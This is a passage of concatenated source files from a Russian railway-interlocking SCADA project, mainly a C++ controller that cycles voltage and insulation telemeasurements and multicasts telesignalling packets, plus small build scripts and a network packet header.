uns2, etc uns_type _type; //тип данных frc trc Gui_Send _data; //все данные по коммутируемым измерениям PA_Data _paData; stdReport(time_t time, char *name, uns_type type, Gui_Send *data): _time(time), _type(type), _data(*data){snprintf(_name, sizeof(_name),"%s", name);}; stdReport(time_t time, char *name, uns_type type, PA_Data *data): _time(time), _type(type), _paData(*data){snprintf(_name, sizeof(_name),"%s", name);}; }; typedef std::vector < stdc::stdReport> protData; } <file_sep>/Controller/src/ControllerImpl.cpp // This is CRTC generator created ControllerImpl.cpp file. [ workstation None at Fri Nov 14 11:24:53 2008 ] #include "ControllerImpl.h" #include <iostream> #include <registry.h> #include <sys/stat.h> #include <sys/types.h> #include <math.h> stdc::ControllerImpl::ControllerImpl( const crtc::ItemContext* _cntx ): ControllerImplBase( _cntx ){ _cntx_ = _cntx; _in_debug=0; _in_castPort = 14350; _in_voltMeasureDelay = 4; _in_mcast = NULL; _in_active = 1; _in_dataFileTrustTime = 1; _in_sync_server = NULL; _in_sync_client = NULL; _in_thread = NULL; _in_syncGroup="192.168.127.12"; } stdc::ControllerImpl::~ControllerImpl(){ } void stdc::ControllerImpl::activate__( const char* ){ // stage one activation (after creation ) } void stdc::ControllerImpl::applyAttrs(){ crtc::ItemNode::applyAttrs(); // stage two activation ( after dom tree building done ) //Находим УАРТ который рулит модулями if( uart = static_cast<stdc::UartImpl*>( find__("uart")) ){ ; } else{ crtcLog<<"stdc::Controller !! Ошибка адаптации не найден УАРТ (stdc:Uart)\n"; crtcEXIT("Критическая ошибка"); } //Найдем объект с порогами на значения limits = dynamic_cast<stdc::Ilimits*>(find__("stdc_limits")); if (!limits) crtcLog<<"stdc::Controller !! Не найден компонент с пороговыми значениями (<stdc:Limits id='stdc_limits' ... >)\n"; //Создаем список объектов ТИ //Подписываем себя на события от SectionProxy std::list<crtc::ItemImpl*> iis; long rc = _cntx_->registry()->getItems( "*", iis ); std::list<crtc::ItemImpl*>::iterator beg = iis.begin(); std::list<crtc::ItemImpl*>::iterator end = iis.end(); while (beg != end ){ std::string _repo = static_cast<crtc::ItemImpl*>(*beg)->getRepo__(); if (_repo == "IDL:stdc/SectionProxy:1.0" ){ crtc::ItemImpl *ss = 0; ss =find__( (*beg)->getId__() ); if (ss){ ss -> subs__("popup", this); //Создаем список объектов телеизмерений crtc::ItemNode* sectProxy = 0; sectProxy = ss; const char* _sectionId; if (sectProxy->hasAttribute("sectionId")) _sectionId = sectProxy->getAttributeText("sectionId"); else{ crtcLog<<"stdc::Controller::Error отсутствует аттрибут sectionId\n"; crtcEXIT("Критическая ошибка"); } if (sectProxy){ crtc::ItemNode *points = sectProxy->firstChild; while (points ){ const char *unit, *ak, *side, *key, *mode, *fasa, *subtitle, *label, *source; if (points->hasAttribute("unit")){ unit = points->getAttributeText("unit"); if (points->hasAttribute("ak")) ak = points->getAttributeText("ak"); else{ crtcLog<<"stdc::SectionProxy::Error в потомке "<<_sectionId<<" отсутвует аттрибут ak="". Номер модуля АК\n"; crtcEXIT("Критическая ошибка"); } if (points->hasAttribute("side")) side = points->getAttributeText("side"); else{ crtcLog<<"stdc::SectionProxy::Error в потомке "<<_sectionId<<" отсутвует аттрибут side="". Сторона мадуля АК.\n"; crtcEXIT("Критическая ошибка"); } if (points->hasAttribute("key")) key = points->getAttributeText("key"); else{ crtcLog<<"stdc::SectionProxy::Error в потомке "<<_sectionId<<" отсутвует аттрибут key="". Номер ключа\n"; crtcEXIT("Критическая ошибка"); } if (points->hasAttribute("mode")) mode = points->getAttributeText("mode"); else{ crtcLog<<"stdc::SectionProxy::Error в потомке "<<_sectionId<<" отсутвует аттрибут mode="". Режим работы ключа\n"; crtcEXIT("Критическая ошибка"); } if (points->hasAttribute("subtitle")) subtitle = points->getAttributeText("subtitle"); else{ crtcLog<<"stdc::SectionProxy::Error в потомке "<<_sectionId<<" отсутвует аттрибут subtite="". Название точки подключения.\n"; crtcEXIT("Критическая ошибка"); } //необязательные атрибуты if (points->hasAttribute("Phdop")) fasa = points->getAttributeText("Phdop"); else fasa =""; if (points->hasAttribute("source")) source = points->getAttributeText("source"); else source ="VAC"; //создаем элемент в таблице объектов измерения char buff[200]; if (std::string(ss->getId__()).find("Section") != std::string::npos ) snprintf(buff, sizeof(buff), "%sСП %s", _sectionId, subtitle); else if (std::string(ss->getId__()).find("Way") != std::string::npos ) snprintf(buff, sizeof(buff), "%sП %s", _sectionId, subtitle); else snprintf(buff, sizeof(buff), "%s %s", _sectionId, subtitle); //выясняем есть ли по этому объекту измерение изоляции bool isIsol=0; char ak_name[7]; snprintf(ak_name, sizeof(ak_name),"ak%s", ak ); if (strcmp("none", uart->getIon4Ak( ak_name ))) isIsol = 1; _in_items[std::string(unit) ] = new stdItem(ak, side, key, mode, unit, fasa, buff, ss, isIsol, source ); } points = points->nextSibling; } } } } beg++; } //check... if (_in_items.size() == 0 ) crtcEXIT ("Мега ошибка. Нету объектов измерения.\n Проверте: 1. Адаптацию 2. Собраны ли модули stdc::SectionProxy или stdc::IsolUnit"); //for test if (_in_debug){ std::cout<<"Известные объекты телеизмерений _in_items:\n"; StdItems::iterator begin = _in_items.begin(); StdItems::iterator end1 = _in_items.end(); while(begin!=end1){ std::cout<<begin->first.c_str(); std::cout<<" ak="<<begin->second->ak<<" side="<<begin->second->side<<" key="<<begin->second->key<<" mode="<<begin->second->mode; std::cout<<" unit='"<<begin->second->unit<<"' fasa="<<begin->second->fasa<<" title='"<<begin->second->label.c_str()<<"' isIsol= '"<<begin->second->isIsol<<"'\n"; begin++; } } //Подготовка для циклических измерений. if (_in_voltMeasureDelay < 3) _in_voltMeasureDelay == 3; registerForPoll__(_in_voltMeasureDelay); registerForStep__(); circleItem = _in_items.begin(); viewItem = _in_items.begin(); circleIsolIter = _in_items.begin(); createTZK(); readData(); //for syncAnalogData if ( _in_syncPort ) prepareSync(); //start circle diment circleIn(1); } void stdc::ControllerImpl::active(CORBA::Long _l){ _in_active = _l; if(_in_debug) printf("active: %d\n", (int)_l); if (_l){ circleItem = _in_items.begin(); viewItem = _in_items.begin(); circleIsolIter = _in_items.begin(); circleIn(1); } } /** * Проверяет бит ТЗК на то что этот бит - это отказ по тзк, и выставляет его значение */ bool stdc::ControllerImpl::checkIsolFault(std::string unit, bool& bb){ StdItems::iterator fnd = _in_items.find(unit); if (fnd == _in_items.end()) return false; bb = fnd->second->isolFault; return true; } /*---------------------------------- Циклические телеизмерения ИЗОЛЯЦИИ ---------------------------------*/ void stdc::ControllerImpl::circleIsolIn(CORBA::Long _l){ _in_circleIsolIn = _l; if(_l){ if (_in_debug) printf("Analog:: Циклические телеизмерения изоляции Включены.\n"); circleIn(0); //выключаем циклические измерения напряжений circleIsolIter = _in_items.begin(); circleIsolOnItem(); } else{ if (_in_debug) printf("Analog:: Циклические телеизмерения изоляции ВЫключены.\n"); if ( crtc::ItemImpl *cid = find__("stdc_circleIsol") ){ cid->setAttr__("stop", "1"); char ak[10]; snprintf(ak, sizeof(ak),"ak%s", circleIsolIter->second->ak ); uart->off(ak, atol(circleIsolIter->second->side) ); } } } void stdc::ControllerImpl::isolValue(CORBA::Double _d) { if ( isnan( _d ) or isinf( _d ) ) { circleIsolNext(); return; } if (_in_debug)printf("Analog:: Значение изоляции %f МОм по объекту %s\n", _d, circleIsolIter->second->label.c_str() ); /*сохранием значение изоляции*/ circleIsolIter->second->value[1] = _d; /*проверим на выполнение порога 1кОм на 1В рабочего напряжения Технология обслуживания стр.330*/ circleIsolIter->second->isolFault = circleIsolIter->second->value[0] < (_d/1000); /*Проверим пороги, и обновим их в ТЗК*/ if (limits) limits->checkLimit(circleIsolIter->second->unit, _d, false ); /*Включим следующий объект измерения*/ circleIsolNext(); saveData(); syncData(); } void stdc::ControllerImpl::circleIsolNext(){ char ak[10]; snprintf(ak, sizeof(ak),"ak%s", circleIsolIter->second->ak ); uart->uns4i_Isol( uart->getUns4Ak(ak), 0 ); uart->off(ak, atol(circleIsolIter->second->side) ); circleIsolIter++; if (circleIsolIter == _in_items.end()){ circleIsolIter = _in_items.begin(); circleIsolIn( 0 ); circleIn( 1 ); } circleIsolOnItem(); } void stdc::ControllerImpl::circleIsolOnItem(){ if (!_in_circleIsolIn) return; CORBA::Any _a; circleIsolIter->second->sp->getAttr__("cond", _a); CORBA::Long _l=0; _a>>=_l; if (_l){ circleIsolNext(); return; } if (!circleIsolIter->second->isIsol){ circleIsolNext(); return; } char ak[10]; snprintf(ak, sizeof(ak),"ak%s", circleIsolIter->second->ak ); uart->uns4i_Isol( uart->getUns4Ak(ak), 1 ); uart->on(ak, atol(circleIsolIter->second->side), atol(circleIsolIter->second->key), atol(circleIsolIter->second->mode), circleIsolIter->second->unit, (CORBA::Long)atol(circleIsolIter->second->fasa) ); if ( crtc::ItemImpl *cid = find__("stdc_circleIsol") ){ int isch = 2 * uart->getChan4Ak( ak ) + atol(circleIsolIter->second->side); char tmp[4]; snprintf(tmp, sizeof(tmp),"%d", isch); cid->setAttr__("isch", tmp); cid->setAttr__("side", circleIsolIter->second->side ); cid->setAttr__("uns", uart->getUns4Ak( ak )); cid->setAttr__("ion", uart->getIon4Ak( ak )); cid->setAttr__("mode", circleIsolIter->second->mode); cid->setAttr__("work", "1"); } char tit[150]; snprintf(tit,sizeof(tit), "Объект %s подключен, измеряется изоляция.", circleIsolIter->second->label.c_str() ); if (_in_debug) printf("Analog:: %s\n",tit); } /*---------------------------------- циклические телеизмерения НАПРЯЖЕНИЯ ---------------------------*/ void stdc::ControllerImpl::circleIn(CORBA::Long _l){ _in_circleIn = _l; if (_l){ // circleItem = _in_Uitems.begin(); if(_in_debug) printf("Analog:: Подготовка к включению Циклических телеизмерений...\n"); /*Выключаем циклические измерения изоляции*/ circleIsolIn(0); } else{ // circleItem = _in_Uitems.end(); if(_in_debug) printf("Analog:: Циклические телеизмерения напряжения Включены.\n"); } } void stdc::ControllerImpl::poll__(){ if (!_in_active ) return; if (_in_circleIn){ circleViewData(); circleNext(); } } void stdc::ControllerImpl::circleNext(){ if (circleItem == _in_items.end()){ circleItem = _in_items.begin(); circleIsolIn(1); return; } if (circleItem->second->mode != NULL ){ char buff[10]; snprintf(buff, sizeof(buff),"ak%s", circleItem->second->ak ); if (atol(circleItem->second->mode) == 0 ){ uart->uns4i_Isol( uart->getUns4Ak(buff), 0 ); uart->on(buff, atol(circleItem->second->side), atol(circleItem->second->key), atol(circleItem->second->mode), circleItem->second->unit, (CORBA::Long)atol(circleItem->second->fasa) ); if (_in_debug) printf("\tAnalog:: Включен объект %s адрес:(ak:side:key:mode): %s:%s:%s:%s\n", circleItem->second->unit, circleItem->second->ak, circleItem->second->side, circleItem->second->key,circleItem->second->mode ); } } circleItem++; } void stdc::ControllerImpl::circleViewData(){ if ( ( viewItem == _in_items.begin() ) && ( circleItem == _in_items.begin() ) ) return; char ak[10]; snprintf(ak, sizeof(ak),"ak%s", viewItem->second->ak ); int isch = 2 * uart->getChan4Ak( ak ) + atol(viewItem->second->side); const char* uns = uart->getUns4Ak( ak ); char buff[10]; snprintf(buff, sizeof(buff),"%s_%d", viewItem->second->source, isch ); if( crtc::ItemImpl *ii = find__(uns) ){ CORBA::Any _a; ii->getAttr__(std::string(buff), _a); CORBA::Double _d; _a>>=_d; /*сохранили значение напряжения*/ viewItem->second->value[0] = _d; saveData(); syncData(); /*Проверим пороги, и обновим их в ТЗК*/ if (limits) limits->checkLimit( viewItem->second->unit, _d, true ); } viewItem++; if (viewItem == _in_items.end()){ viewItem = _in_items.begin(); } } /*----------Передача ТС раз в секунду----------------------------------*/ void stdc::ControllerImpl::step__(){ if (!_in_active ) return; TablesTS::iterator begin = _in_tsTables.begin(); TablesTS::iterator end = _in_tsTables.end(); while (begin != end){ GroupsTS::iterator b_g = (*begin).tzk.begin(); GroupsTS::iterator e_g = (*begin).tzk.end(); if(_in_debug == 2) printf("Net:: Новая ТЗК ТС имя %s тип %s\n", (*begin).name.c_str(), (*begin).type.c_str() ); int g_size = 0; if ( (*begin).type == "analog" ) g_size = (*begin).tzk.size() * 2; else g_size = (*begin).tzk.size() ; ts_packet _packet((*begin).name.c_str(), g_size); while (b_g != e_g){ ImpulsesTS::iterator b_i = (*b_g).begin(); ImpulsesTS::iterator e_i = (*b_g).end(); while(b_i != e_i){ if ((*begin).type == "analog"){ StdItems::iterator fnd = _in_items.find( (*b_i).name ); if (fnd != _in_items.end() ){ char * tzk = _packet.get_tzk(); float *value =(float *)(tzk + (*b_i).group*4 ); *value = fnd->second->value[(*b_i).tval]; } if(_in_debug == 2 ) printf("\t\tNet:: Группа %d, Импуль %d, name %s stype %d value %.2f\n",(*b_i).group ,(*b_i).impl, (*b_i).name.c_str(), (*b_i).tval, fnd->second->value[(*b_i).tval] ); } if ((*begin).type == "digital"){ char* tzk = _packet.get_tzk(); char* gr_state = tzk + (*b_i).group*2; char* gr_counter = gr_state + 1; /*Проверим какой бит ТЗК, или состояние модуля, или данные о выходе за указаные пороги*/ bool mod_st = false; bool unknownImpl = true; /*проверяем что этот бит ТЗК - это отказ по изоляции*/ if (checkIsolFault((*b_i).name, mod_st)){ if(_in_debug == 2 ) printf("\t\tNet:: Группа %d, Импуль %d, Имя объекта %s Состояние порога по изоляции %d\n",(*b_i).group ,(*b_i).impl, (*b_i).name.c_str(), mod_st ); unknownImpl = false; } else if (uart->diag_get( (*b_i).name, mod_st ) ){ /*определим жив ли модуль или нет(если жи передаем 1, если мертв передаем 0)*/ if(_in_debug == 2 ) printf("\t\tNet:: Группа %d, Импуль %d, Имя модуля %s Состояние модуля %d\n",(*b_i).group ,(*b_i).impl, (*b_i).name.c_str(), mod_st ); unknownImpl = false; } else if (limits){ if ( limits->getTZKImpl((*b_i).name, mod_st) ){ /*определеим состояние бита ТЗК - это пороги, если порог в норме порого - 1, если не в норме передаем - 0*/ if(_in_debug == 2 ) printf("\t\tNet:: Группа %d, Импуль %d, Имя порога %s Состояние порога %d\n",(*b_i).group ,(*b_i).impl, (*b_i).name.c_str(), mod_st ); unknownImpl = false; } } if (unknownImpl){ if(_in_debug == 2 ) printf("\t\tNet:: Группа %d, Импуль %d, Имя импулься %s Состояние импульса %d НЕ ОПОЗНАН\n",(*b_i).group ,(*b_i).impl, (*b_i).name.c_str(), mod_st ); } *gr_state = *gr_state | (mod_st << (*b_i).impl); } b_i++; } b_g++; } _in_mcast->SndPacket( _packet.get_packet(), _packet.get_packet_size() ); begin++; } if (_in_debug == 2 ) printf("Net:: ------------------------------------\n"); } void stdc::ControllerImpl::createTZK(){ /*Создадим передатчик мультикаста*/ if ( !_in_castGroup.empty() && _in_castIP.empty() ) _in_mcast = new Multicast(_in_castPort, false, (char*)_in_castGroup.c_str() ); else if ( _in_castGroup.empty() && !_in_castIP.empty() ) _in_mcast = new Udp(_in_castPort, false, (char*)_in_castIP.c_str() ); else { printf("Не указана мультикаст группа(castGroup) или ip-адрес(castIP) на который слать ТС\n" ); exit(1); } printf("------------------------------------\n"); printf("Сетевой канал телесигнализации:\n\t группа мультикаст: %s\n\t порт: %d\n", _in_castGroup.c_str(), (int)_in_castPort ); printf("------------------------------------\n"); /*Создадим структуру каналов ТС*/ crtc::ItemNode *child = firstChild; while(child){ if(!strcmp(child->nodeName, "chanel")){ if( child->hasAttribute("type") ){ createChanel(child); } } child = child->nextSibling; } } void stdc::ControllerImpl::createChanel(crtc::ItemNode* _node ){ /*Нашли нувую таблицу ТЗК ТС*/ crtc::ItemNode *groupNode = _node->firstChild; TZKTS tzkTS; tzkTS.name = _node->getAttributeText("name"); tzkTS.type = _node->getAttributeText("type"); int stypeTZK = -1; int groups = 0; if (!strcmp("volt", _node->getAttributeText("subtype") )) stypeTZK = 0; else if (!strcmp("isol", _node->getAttributeText("subtype") )) stypeTZK = 1; if (tzkTS.type == "analog") printf("ТЗК ТС имя: %s тип: %s подтип: %s\n", tzkTS.name.c_str(), tzkTS.type.c_str(), _node->getAttributeText("subtype") ); else printf("ТЗК ТС имя: %s тип: %s\n", tzkTS.name.c_str(), tzkTS.type.c_str() ); GroupsTS _groups; /*Выяснили имя и тип, и создали список групп*/ while(groupNode){ if( groupNode->nodeType == crtc::ELEMENT_NODE ){ /*Нашли новую группу в таблице , и перебрали ее импульсы*/ if( groupNode->nodeName[0] == 'g' ){ int g = atol( groupNode->nodeName+1) - 1; printf("\tГруппа %d (node %s):\n", g+1, groupNode->nodeName ); ImpulsesTS _impls; char buff[10]; for (int i=0; i<8;i++){ snprintf(buff, sizeof(buff), "i%d", i+1 ); if (groupNode->hasAttribute(buff)) if (strlen(groupNode->getAttributeText(buff))){ impulseData _impl; _impl.name = groupNode->getAttributeText(buff); _impl.tval = stypeTZK; _impl.impl = i; _impl.group = g; _impls.push_back( _impl ); printf("\t\t импульс %d name %s\n",i+1, groupNode->getAttributeText(buff) ); } } tzkTS.addGroup(_impls); /*сохраним последнюю группу*/ groups = g+1; } } groupNode = groupNode->nextSibling; } _in_tsTables.push_back(tzkTS); } /*---------------------сохранение чтение данных------------------------*/ void stdc::ControllerImpl::saveData( ){ if (!_in_active ) return; if (!_in_path.length() ) return; /*Создаем нужную директорию если не создана*/ mkdir(_in_path.c_str(),0777); /*удаляем старый архив*/ char path[200]; snprintf(path,sizeof(path),"%s/controller.dta",_in_path.c_str() ); remove(path); int fd = open(path,O_WRONLY|O_CREAT, 0666); if(fd!=-1){ tempData _data; StdItems::iterator begin = _in_items.begin(); StdItems::iterator end = _in_items.end(); while(begin!=end){ snprintf(_data.name, sizeof(_data.name), "%s", begin->first.c_str() ); _data.volt = begin->second->value[0]; _data.isol = begin->second->value[1]; ssize_t ret = write(fd, &_data, sizeof(tempData) ); begin++; } close(fd); } } #include <sys/stat.h> #include <time.h> void stdc::ControllerImpl::readData( ){ if (!_in_path.length() ) return; /*Создаем нужную директорию если не создана*/ mkdir(_in_path.c_str(),0777); char path[200]; snprintf(path,sizeof(path),"%s/controller.dta",_in_path.c_str() ); struct stat _st; if (!stat(path, &_st)){ time_t _tt; time( &_tt ); if ( (_tt - _st.st_ctime) > _in_dataFileTrustTime*60 ){ if (_in_debug) printf("Data file is old. Can`t restore data from it. You will recieve zero data into TZK TC \n"); return; } else{ if (_in_debug) printf("Data file is young. Restore last data from it...\n"); } } else{ return; } FILE* fd=fopen(path, "rb"); if (fd){ tempData _data; while (!feof(fd)){ int rd = fread(&_data, 1, sizeof(tempData), fd ); if (rd == sizeof(tempData) ){ StdItems::iterator fnd = _in_items.find( _data.name ); if ( fnd != _in_items.end() ){ fnd->second->value[0] = _data.volt; fnd->second->value[1] = _data.isol; } } } fclose(fd); } } /*-------------------syncing analog data --------------*/ void stdc::ControllerImpl::prepareSync() { _in_sync_server = new Multicast(_in_syncPort, NET_SERVER, (char*)_in_syncGroup.c_str() ); _in_sync_client = new Multicast(_in_syncPort, NET_CLIENT, (char*)_in_syncGroup.c_str() ); _in_thread = new crtc::Th( loopF, this ); printf("------------------------------------\n"); printf("Сетевой канал синхронизации аналоговых данных:\n\t группа мультикаст: %s\n\t порт: %d\n", _in_castGroup.c_str(), (int)_in_syncPort ); printf("------------------------------------\n"); } void* stdc::ControllerImpl::loopF( void* _p ) { stdc::ControllerImpl* ap = static_cast<stdc::ControllerImpl*>(_p); ap->loopM(); return 0; } void stdc::ControllerImpl::loopM() { char pack[1024]; tempData recData; while (1) { if( int recLen = _in_sync_server->GetPacket( pack ) ) { /*Если активен или не совпала длинна - то ничего не делаем - ждем`с*/ if ( recLen != sizeof(tempData) || _in_active ) continue; memcpy ( &recData, pack, sizeof(tempData) ); StdItems::iterator fnd = _in_items.find( recData.name ); if ( fnd != _in_items.end() ) { fnd->second->value[0] = recData.volt; fnd->second->value[1] = recData.isol; /*Иммитируем синхронизацию дискретного ТС*/ if (fnd->second->value[0] != 0 ) fnd->second->isolFault = fnd->second->value[0] < (fnd->second->value[1]/1000);//check isolFault bool fU=false, fI=false; if (limits) { fU = limits->checkLimit(fnd->first, fnd->second->value[0], true );//check U fI = limits->checkLimit(fnd->first, fnd->second->value[1], false );//check R } if (_in_debug == 3) printf("Recive sync data for unit: %s, volt: %2.2f, isol: %2.2f, isolFault: %d, voltLimitFault: %d, isolLimitFault: %d\n" , recData.name, recData.volt, recData.isol, fnd->second->isolFault, fU, fI ); } } } } void stdc::ControllerImpl::syncData() { if( _in_active && _in_sync_server && _in_sync_client ) for ( StdItems::iterator b = _in_items.begin(); b != _in_items.end(); ++b ) { tempData _d(b->first, b->second->value[0], b->second->value[1] ); _in_sync_client->SndPacket( (char*)&_d, sizeof(_d) ); if (_in_debug == 3 ) printf("Send sync data for unit %s volt: %2.2f isol: %2.2f\n", _d.name, _d.volt, _d.isol ); } } <file_sep>/run #!/bin/bash PWD=`pwd` DIRS=`ls` DIRS="Uart Limits $DIRS" for i in $DIRS do if test -d $i -a "$i" != ".git" -a "$i" != "log" -a "$i" != "Docs" -a "$i" != "readme.txt" then #echo "cd to $i/src" >> ./run.log cd $i/src $1 $2 cd ../.. fi done <file_sep>/CircleIsol/src/test.sh #!/bin/bash export LD_LIBRARY_PATH=/usr/lib/crtc:/usr/lib/crtc/modules ./test <file_sep>/Controller/src/net_mpk.h /* * This file is part of the SCADA EC-MPK project. * EC-MPK is computer base interlocking system. * This system is developed St. Peterburg State University of Railway Transports. * * Copyright (C) 2001-2006 <NAME> <<EMAIL>>, <NAME> <<EMAIL>> * Copyright (C) 2007-2009 <NAME> <<EMAIL>> * */ #ifndef NET_MPK_H #define NET_MPK_H #include <string.h> #include <string> using namespace std; #ifndef ERROR #define ERROR -1 #endif #ifndef OK #define OK 0 #endif #ifndef NULL #define NULL ((void *) 0) #endif #define FOREVER while (1) typedef unsigned char uchar; typedef unsigned short ushort; typedef unsigned int uint; typedef short STATUS; #define char50 50 #define char20 20 #define PACKET_TIME_SIZE 4 #define ADDR3D_NETWORK_SIZE 4 #define ADDR3D_NODE_SIZE 6 struct Address3D { /** номер сети */ unsigned char Network[ADDR3D_NETWORK_SIZE]; /** номер сетевого адаптера */ unsigned char Node[ADDR3D_NODE_SIZE]; /** номер сокета */ unsigned short Socket; }; /* (7*sizeof(short) + 2*sizeof(struct Address3D) + PACKET_TIME_SIZE) */ #define SIZE_OF_PACKET_BEFORE_KEY 42 #define SIZE_OF_KEY_2SHORT (1 + 2*sizeof(short)) /** * структура имени Ю.В. Осипова для LAN * (составлена из двух struct PacketTag, struct PacketTZK) * в сеть по тракту ТС уходит этот пакет, * а со смысловой точки зрения - ТЗК (возможно неполная) для одного канала */ struct PacketHead { /** для выравнивания - у Юры этого нет */ short n; /** 01.03.99 тут будет адрес ~10байт*/ struct Address3D To, From; /** Номер посылаемого пакета */ short Number; /** Длина посылаемого пакета TS(1+s+1+4+84*3=258+s) TU(1+s+1+1+7*n) */ short Length; /** Время регистрации посылаемого пакета (секунды с 01.01.70) */ char t[PACKET_TIME_SIZE]; /** Направление передачи: 0=сеть, 1=модем */ short Dest; /** Длина блока, сеть=500, модем=? */ short PakLen; /** Текущий номер блока 0 */ short CurNum; /** Количество поступивших блоков1 */ short NumPieces; }; /** * проверять (см ниже ReceiveString() ) Length, Dest(0), PakLen(500) key(2) ... */ // int ReceiveString(char *string) // { // if(!string) return 0; // char *b = NULL; // unsigned len = 0; // PacketTag *tag = (PacketTag *)(string+TAGPOS); // // int PAKLEN; // if( tag -> Dest > 1 || tag -> Dest < 0) return 0; //если пакет не пос сети или модему // if( tag -> Dest && tag -> PakLen != MODEMPAKLEN) return 0; //если некорр модемн // if(!tag -> Dest && tag -> PakLen != NETPAKLEN) return 0; //если некорр сетев // int np = (tag -> Length/tag -> PakLen) + ((tag -> Length % tag -> PakLen)?1:0); // if(np != tag -> NumPieces) return 0; // если кусков не соответствует // if( tag -> CurNum >= tag -> NumPieces) return 0; // если текущий номер куска // if( tag -> CurNum < 0) return 0; // не в рамках /** ключ сетевого пакета ТС */ #define TS_IDENTIFY 1 /** ключ сетевого пакета ТУ */ #define TU_IDENTIFY 2 /** time packet from satelite */ #define TIME_IDENTIFY 3 /** я жив */ #define ALIVE_IDENTIFY 5 /** * Описание пакета ТС * * | PacketHead | key | name | max_gr | max_imp | tzk | * * key - Ключ потока, для ТС всегда равен 1. Размер 1 byte. * name - Наименование канала ТЗК - строка, заканчивающаяся 0. Переменная длина - до нулевого байта. * max_gr - Размерность канала - количество групп. Размер 2 bytes (short). * max_imp - Количество рабочих импульсов. Размер 2 bytes (short). * tzk - ТЗК в формате МПК/ЭЦМПК/СКЦ. Переменная длина. * * Доступ к данным с key по max_imp, * реализован с помощью PacketTS */ struct PacketTS { private: char *head; int size_head; uchar *key; char *name; short *max_gr; short *max_imp; public: PacketTS (const char *st_name, short _max_gr, short _max_imp) { size_head = 1/*key*/ + strlen(st_name) + 1/*null*/ + 2*sizeof(short) /*max_gr max_imp*/; head = new char [size_head]; key = (uchar *)head; *key = 1; name = (char *)key + 1; strcpy (name, st_name); max_gr = (short *)(name + strlen(name) + 1/*null*/); *max_gr = _max_gr; max_imp = max_gr + 1; *max_imp = _max_imp; }; PacketTS (const char *_head, unsigned int size) { unsigned int size_head_min = 1/*key*/ + strlen("") + 1/*null*/ + 2*sizeof(short)/*max_gr max_imp*/; if (size < size_head_min) { size_head = 0; head = NULL; key = NULL; name = NULL; max_gr = NULL; max_imp = NULL; } head = new char [size]; memcpy(head, _head, size); key = (uchar *)head; name = (char *)key + 1; max_gr = (short *)(name + strlen(name) + 1/*null*/); max_imp = max_gr + 1; size_head = 1/*key*/ + strlen(name) + 1/*null*/ + 2*sizeof(short)/*max_gr max_imp*/; }; ~PacketTS () { if (head) delete []head; }; int get_size () { return size_head; }; char * get_head () { return head; }; char get_key () { return (key) ? *key : 0; }; char * get_name () { return name; }; short get_max_gr () { return (max_gr) ? *max_gr : 0; }; short get_max_imp () { return (max_imp) ? *max_imp : 0; }; }; /** * struct tt {long l;char c;int channel;}; * узнать у Юры * формат 'long l' (стартовый импульс - 19-й бит, посл.импульс - бит 0) * назначение 'char c' * 1 - выдать ТУ в линию * 2 - ничего не делать * 3 - выдать ТУ в линию, если комплект активный * диапазон 'int channel' 0..х в пределах диспетчерского круга нумерация слева направо * ГРУ - приказ ТУ #789 (10 импульс 0-выкл 1-вкл) */ struct tt { /** (стартовый импульс - 19-й бит, посл.импульс - бит 0) */ long l; /** 1 - выдать ТУ в линию, 2 - ничего не делать, 3 - выдать ТУ в линию, если комплект активный */ char c; /** диапазон 'int channel' 0..х в пределах диспетчерского круга нумерация слева направо */ short channel; } __attribute((packed)); struct tt_mpk { char station; char group; /* может быть crc ? */ char hz; /* 0x80 >> (bit-1) */ char impulse; /* всегда 1 ? */ char c; /* номер канала ? */ short channel; } __attribute((packed)); struct tt_skc { short kod; short station; char c; short channel; } __attribute((packed)); /** * Описание пакета ТУ * * | PacketHead | key | name | numberTU | tu[numberTU] | * * key - Ключ потока, для ТУ всегда равен 2. Размер 1 байт. * name - Наименование круга управления - строка, заканчивающаяся 0. Переменная длина - до нулевого байта. * numberTU - число приказов ТУ в пакете. Размер 1 байт. * tu - приказы ТУ в виде структур 'tt' формата МПК/СКЦ. Переменная длина. * * Доступ к данным с key по numberTU, * реализован с помощью PacketTU */ struct PacketTU { private: char *head; int size_head; uchar *key; char *name; uchar *numberTU; struct tt *tu; public: PacketTU (const char *st_name, char _numberTU, bool nothing) { size_head = 1/*key*/ + strlen(st_name) + 1/*null*/ + 1/*numberTU*/ + _numberTU*sizeof(struct tt); head = new char [size_head]; key = (uchar *)head; *key = 2; name = (char *)key + 1; strcpy (name, st_name); numberTU = (uchar *)(name + strlen(name) + 1/*null*/); *numberTU = _numberTU; tu = (struct tt *)(numberTU + 1); }; PacketTU (const char *_head, unsigned int size) { unsigned int size_head_min = 1/*key*/ + strlen("") + 1/*null*/ + 1/*numberTU*/; if (size < size_head_min) { size_head = 0; head = NULL; key = NULL; name = NULL; numberTU = NULL; tu = NULL; } head = new char [size]; memcpy(head, _head, size); key = (uchar *)head; name = (char *)key + 1; numberTU = (uchar *)(name + strlen(name) + 1/*null*/); tu = (struct tt *)(numberTU + 1); size_head = size; }; ~PacketTU () { if (head) delete [] head; }; int get_size () { return size_head; }; char * get_head () { return head; }; char get_key () { return (key) ? *key : 0; }; char * get_name () { return name; }; short get_numberTU () { return (numberTU) ? *numberTU : 0; }; struct tt* get_tt (uchar number) { if (*numberTU <= number) return NULL; struct tt *one_tt = tu + number*sizeof(struct tt); if ( ((char *)one_tt - head) < size_head ) return one_tt; else return NULL; } }; /*---------------------------------------------------------------------------- 15.01.2002 DOS.H : struct time { // Minutes unsigned char ti_min; // Hours unsigned char ti_hour; // Hundredths of seconds unsigned char ti_hund; // Seconds unsigned char ti_sec; }; struct date { // Year - 1980 int da_year; // Day of the month char da_day; // Month (1 = Jan) char da_mon; }; MESSAGE1.CPP : double DiffTime(struct time &t1,struct time &t2) { return (t1.ti_hour - t2.ti_hour)*360000L + (t1.ti_min - t2.ti_min)*6000 + (t1.ti_sec - t2.ti_sec)*100 + t1.ti_hund - t2.ti_hund; } int ParseWATCH(char *stream,int streamlen) { if(streamlen < sizeof(struct time)) return 0; if(stream[0] != 3) return 0; Watch -> NowTime((struct time *)(stream+1)); Watch -> NowDate((struct date *)(stream+1 + sizeof(struct time))); return 1; } */ struct packetTIME { /* uchar key; * ключ потока - 1б - для TIME всегда 3 */ /* DOS.H */ struct { /* Minutes */ uchar ti_min; /* Hours */ uchar ti_hour; /* Hundredths of seconds */ uchar ti_hund; /* Seconds */ uchar ti_sec; } time; /* DOS.H */ struct { /* Year - 1980 */ ushort da_year; /* Day of the month */ uchar da_day; /* Month (1 = Jan) */ uchar da_mon; } date; }; /** * структура пакета 'я жив' * пакет передается по IPX каждым АРМом раз в ~5сек * отловив эти пакеты и 